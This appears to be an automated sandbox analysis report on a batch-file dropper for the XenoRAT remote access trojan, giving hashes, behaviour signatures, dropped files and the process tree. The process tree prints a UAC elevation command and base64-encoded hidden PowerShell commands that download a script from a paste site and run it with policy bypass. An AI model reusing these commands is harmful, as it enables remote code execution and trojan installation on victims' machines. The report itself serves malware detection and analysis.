Analysis

  • max time kernel
    62s
  • max time network
    63s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-12-2024 20:54

General

  • Target

    virus_src.bat

  • Size

    652B

  • MD5

    3d20c8ba40ea3e85334342e7c01018bd

  • SHA1

    b678d69ec173ca2e385ba8a8bda18be618f5af2c

  • SHA256

    4a4f56be826841723b685fe98aedfb81eb3c11dfac2f4a466f4c78eef2c5bb71

  • SHA512

    0fdeac77b6c4f3ba7ee53c33785c6c576873a7798d8921721d21498910316893b8ebb0e499759bd1d62239506499ce4bf9f222a2019c4a882ffd1a2ce86a6776

Malware Config

Extracted

Family

xenorat

C2

127.0.0.1

Mutex

09fasifjkansmf8s9ghjndui90gijmfgpjkjyt90y843

Attributes
  • delay

    5000

  • install_path

    nothingset

  • port

    4444

  • startup_name

    nothingset

Signatures

  • Detect XenoRat Payload 2 IoCs
  • XenorRat

    XenorRat is a remote access trojan written in C#.

  • Xenorat family
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\virus_src.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3296
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process -Verb RunAs -FilePath 'C:\Users\Admin\AppData\Local\Temp\virus_src.bat' -ArgumentList "am_admin"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2572
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\virus_src.bat" am_admin
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1484
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -NoLogo -enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBwAGEAcwB0AGUAYgBpAG4ALgBjAG8AbQAvAHIAYQB3AC8AQgBoAFcAdgBTAFAAcQBxACkALgBjAG8AbgB0AGUAbgB0ACAAPgAgACQAZQBuAHYAOgB0AGUAbQBwAFwAUwB5AHMAdABlAG0AUwB0AGEAcgB0AHUAcAAuAHAAcwAxAA==
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1648
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -NoLogo -enc cABvAHcAZQByAHMAaABlAGwAbAAgAC0AbgBvAGUAeABpAHQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAAQgB5AHAAYQBzAHMAIAAtAEYAaQBsAGUAIAAkAGUAbgB2ADoAdABlAG0AcABcAFMAeQBzAHQAZQBtAFMAdABhAHIAdAB1AHAALgBwAHMAMQA=
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4768
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\SystemStartup.ps1
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1628
            • C:\Users\Admin\AppData\Local\Temp\rat.exe
              "C:\Users\Admin\AppData\Local\Temp\rat.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:3424
  • C:\Windows\system32\taskmgr.exe
    "C:\Windows\system32\taskmgr.exe" /7
    1⤵
    • Checks SCSI registry key(s)
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    PID:4540
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:3156
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe" "C:\Users\Admin\AppData\Local\Temp\SystemStartup.ps1"
      1⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3504

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      6cf293cb4d80be23433eecf74ddb5503

      SHA1

      24fe4752df102c2ef492954d6b046cb5512ad408

      SHA256

      b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

      SHA512

      0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

      Filesize

      53KB

      MD5

      a26df49623eff12a70a93f649776dab7

      SHA1

      efb53bd0df3ac34bd119adf8788127ad57e53803

      SHA256

      4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

      SHA512

      e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      64B

      MD5

      5caad758326454b5788ec35315c4c304

      SHA1

      3aef8dba8042662a7fcf97e51047dc636b4d4724

      SHA256

      83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

      SHA512

      4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      2cd928baba5af07197e8ab4c3309ff7c

      SHA1

      f282ff7f9323a5f5eab5479fd7c7e25776deac75

      SHA256

      52638798f1f802fe7015092932c729461f2ba72fa3c906b443f7cedcc99f88c5

      SHA512

      bea23897dd1f0a5aeb44f1197128e87bf1da2e5dad2d281425ed9b6bee0dd5e3b1898fe2e4eef659ed5a6bb13014ed57d3fd914e5b1247247d7fe2684fca69ef

    • C:\Users\Admin\AppData\Local\Temp\SystemStartup.ps1

      Filesize

      444B

      MD5

      36283fdf74e6a121263391fc05cbdb16

      SHA1

      214b06862abbeeb40e71b2b244b2018453c1282a

      SHA256

      d7720dc0062268305fd1ad4751f58ee4aceab50c2923f19ebde5e426a9e0dc5a

      SHA512

      15ef36edcc2bb6b6fc192aee0647146c65ec771168952aa7e3a5fd7024ab01ee7348b2fe3ce03d5c6e1e8e1d15ddcd0e4671f5f5734f48d5c3d200931db5725f

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nfjqj55x.agy.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\rat.exe

      Filesize

      45KB

      MD5

      77020688c984e8b2675f7d0d33f02b3e

      SHA1

      6d67ebf519424f1f1ace23b6ce2c56aa5c7449b8

      SHA256

      c9ec55f100a9b7cb76f0ee6d2ba97edab4f133ca3a2351e96162159446c986ec

      SHA512

      c60ade9f5fdc3c0590c4fd2995a61b81e333e4afb329d9a10833e1bd7f9b444eaea6bb23d0dd2d85c6163a71166bba06c0603f2e9a5c0e4d83474b25c72d4004

    • memory/1628-67-0x0000020D2BE70000-0x0000020D2BEE6000-memory.dmp

      Filesize

      472KB

    • memory/1628-54-0x0000020D2B900000-0x0000020D2B944000-memory.dmp

      Filesize

      272KB

    • memory/1648-34-0x00007FFC37520000-0x00007FFC37FE1000-memory.dmp

      Filesize

      10.8MB

    • memory/1648-27-0x00007FFC37520000-0x00007FFC37FE1000-memory.dmp

      Filesize

      10.8MB

    • memory/1648-30-0x00000256277F0000-0x0000025627F96000-memory.dmp

      Filesize

      7.6MB

    • memory/1648-28-0x00007FFC37520000-0x00007FFC37FE1000-memory.dmp

      Filesize

      10.8MB

    • memory/1648-17-0x00007FFC37520000-0x00007FFC37FE1000-memory.dmp

      Filesize

      10.8MB

    • memory/2572-15-0x00007FFC37520000-0x00007FFC37FE1000-memory.dmp

      Filesize

      10.8MB

    • memory/2572-12-0x00007FFC37520000-0x00007FFC37FE1000-memory.dmp

      Filesize

      10.8MB

    • memory/2572-11-0x00007FFC37520000-0x00007FFC37FE1000-memory.dmp

      Filesize

      10.8MB

    • memory/2572-1-0x000001FCDFA80000-0x000001FCDFAA2000-memory.dmp

      Filesize

      136KB

    • memory/2572-0-0x00007FFC37523000-0x00007FFC37525000-memory.dmp

      Filesize

      8KB

    • memory/3424-68-0x0000000000D60000-0x0000000000D72000-memory.dmp

      Filesize

      72KB

    • memory/3504-83-0x0000020084B00000-0x0000020084B38000-memory.dmp

      Filesize

      224KB

    • memory/3504-104-0x00000200A1660000-0x00000200A1686000-memory.dmp

      Filesize

      152KB

    • memory/3504-103-0x00000200A15B0000-0x00000200A15B8000-memory.dmp

      Filesize

      32KB

    • memory/3504-102-0x00000200A0480000-0x00000200A0488000-memory.dmp

      Filesize

      32KB

    • memory/3504-101-0x00000200A0470000-0x00000200A0478000-memory.dmp

      Filesize

      32KB

    • memory/3504-91-0x000002009F280000-0x000002009F288000-memory.dmp

      Filesize

      32KB

    • memory/3504-86-0x00000200A14C0000-0x00000200A14F8000-memory.dmp

      Filesize

      224KB

    • memory/3504-85-0x0000020086830000-0x000002008683E000-memory.dmp

      Filesize

      56KB

    • memory/3504-84-0x00000200A1470000-0x00000200A14BA000-memory.dmp

      Filesize

      296KB

    • memory/4540-79-0x000001F98FBF0000-0x000001F98FBF1000-memory.dmp

      Filesize

      4KB

    • memory/4540-75-0x000001F98FBF0000-0x000001F98FBF1000-memory.dmp

      Filesize

      4KB

    • memory/4540-76-0x000001F98FBF0000-0x000001F98FBF1000-memory.dmp

      Filesize

      4KB

    • memory/4540-77-0x000001F98FBF0000-0x000001F98FBF1000-memory.dmp

      Filesize

      4KB

    • memory/4540-78-0x000001F98FBF0000-0x000001F98FBF1000-memory.dmp

      Filesize

      4KB

    • memory/4540-70-0x000001F98FBF0000-0x000001F98FBF1000-memory.dmp

      Filesize

      4KB

    • memory/4540-80-0x000001F98FBF0000-0x000001F98FBF1000-memory.dmp

      Filesize

      4KB

    • memory/4540-81-0x000001F98FBF0000-0x000001F98FBF1000-memory.dmp

      Filesize

      4KB

    • memory/4540-71-0x000001F98FBF0000-0x000001F98FBF1000-memory.dmp

      Filesize

      4KB

    • memory/4540-69-0x000001F98FBF0000-0x000001F98FBF1000-memory.dmp

      Filesize

      4KB